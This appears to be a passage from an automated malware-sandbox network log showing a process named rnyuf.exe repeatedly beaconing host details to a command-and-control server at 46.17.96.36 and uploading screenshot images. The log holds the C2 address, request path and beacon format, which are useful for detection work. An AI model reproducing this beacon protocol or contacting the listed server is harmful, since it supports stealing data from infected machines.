Aug 29, 2021 22:27:43.489648104 CEST	8805	OUT	Data Raw: 71 1c 32 b2 16 78 22 b8 1b 09 23 6c 88 ae bd 40 e7 0c 33 ef 5a 36 5e 1f 96 ee 25 9e 4b eb 2b 5b 73 62 d7 ed 2c e6 42 12 35 9b c9 39 08 8c 73 bb d0 1e 2a 86 ab 77 05 f6 a3 0c d6 ef be 35 b0 b4 85 8e d2 30 e9 02 23 0e 7d 19 48 ad ab 0d 7f 4c b4 d3 Data Ascii: q2x"#l@3Z6^%K+[sb,B59s*w50#}HLD3K3m27PS>l{V5MIoPsO/mHKs>MC-i"q:FH)U''/\mS.m\/Koe6?;u)cbnvmVP2yW~Rm
Aug 29, 2021 22:27:43.489813089 CEST	8821	OUT	Data Raw: cd 3e 9a 13 14 52 d2 0a 5e d5 5d 08 62 77 a5 a4 ef 4e a0 04 c7 34 ea 4a 5a 62 14 50 28 02 96 a8 41 4a 28 ef 4a 28 10 b4 94 e1 46 2a ac 2b 88 29 68 c5 2d 31 05 25 3b 14 a4 51 61 5c 68 a7 01 8a 00 a2 98 00 fb d5 26 6a 31 f7 aa 41 d6 aa 24 c8 3b d3 Data Ascii: >R^]bwN4JZbP(AJ(J(F*+)h-1%;Qa\h&j1A$;ZMj:RO)RwjbR(L@)TP4d<(9'(qXR`CKM-QE 8"ZbaRsK(:iEKMS$)GZ.ismP+RdM k_7
Aug 29, 2021 22:27:43.592315912 CEST	8855	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49819	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.514678001 CEST	8832	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:43.588099957 CEST	8855	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49820	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.750334024 CEST	8856	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:43.824029922 CEST	8856	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49821	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.825159073 CEST	8857	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:43.825229883 CEST	8857	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:43.825370073 CEST	8867	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:43.825443983 CEST	8870	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:43.859816074 CEST	8873	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:43.859843969 CEST	8878	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:43.860138893 CEST	8892	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:43.861829996 CEST	8895	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:43.895059109 CEST	8901	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:43.895150900 CEST	8935	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:43.895211935 CEST	8940	OUT	Data Raw: a0 ec f9 5e bf f6 fc cc e5 f1 9f 86 ed e0 85 56 ec c7 19 dc ab 18 b5 94 18 c2 05 2d b9 76 e5 00 0c a7 2c 00 c1 15 7e cf c4 3a 66 a1 a9 4d 61 69 3b cd 3c 3f 7c ac 0f e5 8e 01 c7 99 b7 61 38 60 78 3d eb 97 b8 f0 6d f5 b5 cd ad ce 99 73 14 f7 06 19 Data Ascii: ^V-v,~:fMai;<?\|a8`x=msBYW(~^?7%5uXTL<h'<9rr_?i<~cS+;v_-(Z{zh5vyVB'%\QL4)EBT!RdP)
Aug 29, 2021 22:27:44.003801107 CEST	8968	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49822	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.973074913 CEST	8968	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:44.050615072 CEST	8969	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49823	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.230236053 CEST	8970	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:44.304071903 CEST	8983	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49824	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.274722099 CEST	8970	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:44.274864912 CEST	8970	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:44.275065899 CEST	8980	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:44.275419950 CEST	8983	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:44.311511040 CEST	8986	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:44.311619043 CEST	9003	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:44.311647892 CEST	9006	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:44.311659098 CEST	9009	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:44.348050117 CEST	9011	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:44.348236084 CEST	9020	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:44.348299026 CEST	9033	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:44.462884903 CEST	9082	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49825	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.496656895 CEST	9082	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:44.571957111 CEST	9083	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49826	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.703342915 CEST	9084	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:44.703464031 CEST	9084	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:44.703607082 CEST	9094	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:44.703680992 CEST	9097	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:44.735836983 CEST	9110	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:44.735969067 CEST	9117	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:44.735999107 CEST	9122	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:44.768089056 CEST	9125	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:44.768218994 CEST	9138	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:44.768326998 CEST	9149	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
